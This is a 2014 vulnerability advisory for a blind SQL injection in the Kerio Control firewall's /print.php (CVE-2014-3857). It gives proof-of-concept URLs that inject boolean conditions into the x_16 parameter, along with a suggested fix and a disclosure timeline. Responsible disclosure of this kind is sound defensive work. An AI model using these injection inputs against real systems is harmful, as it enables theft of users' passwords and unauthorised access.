Document Title: ====================== Kerio Control <= 8.3.1 Boolean-based blind SQL Injection Primary Informations: ====================== Product Name: Kerio Control Software Description: Kerio Control brings together multiple capabilities including a network firewall and router, intrusion detection and prevention (IPS), gateway anti-virus, VPN and content filtering. These comprehensive capabilities and unmatched deployment flexibility make Kerio Control the ideal choice for small and mid-sized businesses. Affected Version: Latest Version - 8.3.1 (released on 2014-05-20) Vendor Website: http://kerio.com Vulnerability Type: Boolean-based blind SQL Injection Severity Level: Very High Exploitation Technique: Remote CVE-ID: CVE-2014-3857 Discovered By: Khashayar Fereidani Main Reference: http://fereidani.com/articles/show/76_kerio_control_8_3_1_boolean_based_blind_sql_injection Researcher's Websites: http://fereidani.com http://fereidani.ir http://und3rfl0w.com http://ircrash.com Researcher's Email: info [ a t ] fereidani [ d o t ] com Technical Details: ======================= Kerio Control suffers from a SQL Injection Vulnerability which can lead to gain users sensitive informations like passwords , to use this vulnerability attacker need a valid client username and password . Vulnerable path: /print.php Vulnerable variables: x_16 and x_17 HTTP Method: GET Proof Of Concept: ======================= Blind Test: TRUE: https://[SERVER IP]:4081/print.php?x_w=overall&x_14=L1&x_15=stats&x_16=16221 AND 1=1&x_17=16221&x_18=-1&x_1b=&x_1a=&x_1l=[ VALID SESSION]&x_3k={%27x_fj%27%3A16220%2C+%27x_fk%27%3A+16220}&x_3l={%27x_fj%27%3A16222%2C+%27x_fk%27%3A+16222}&x_1c=&x_1e=-270&x_1f=-1&x_3m=0&x_11=overall&x_12=individual&x_13=x_2l FALSE: https://[SERVER IP]:4081/print.php?x_w=overall&x_14=L1&x_15=stats&x_16=16221 AND 1=2&x_17=16221&x_18=-1&x_1b=&x_1a=&x_1l=[ VALID SESSION]&x_3k={%27x_fj%27%3A16220%2C+%27x_fk%27%3A+16220}&x_3l={%27x_fj%27%3A16222%2C+%27x_fk%27%3A+16222}&x_1c=&x_1e=-270&x_1f=-1&x_3m=0&x_11=overall&x_12=individual&x_13=x_2l Solution: ======================== Valid escaping variables or type checking for integer Exploit: ======================== Private Vulnerability Disclosure Timeline: ================================== May 30 2014 - Disclosure May 31 2014 - Received a CVE ID May 31 2014 - Initial Report to Kerio Security Team June 3 2014 - Support team replied fix is planned to be included in a future release June 30 2014 - Patched July 1 2014 - Publication Khashayar Fereidani - http://fereidani.com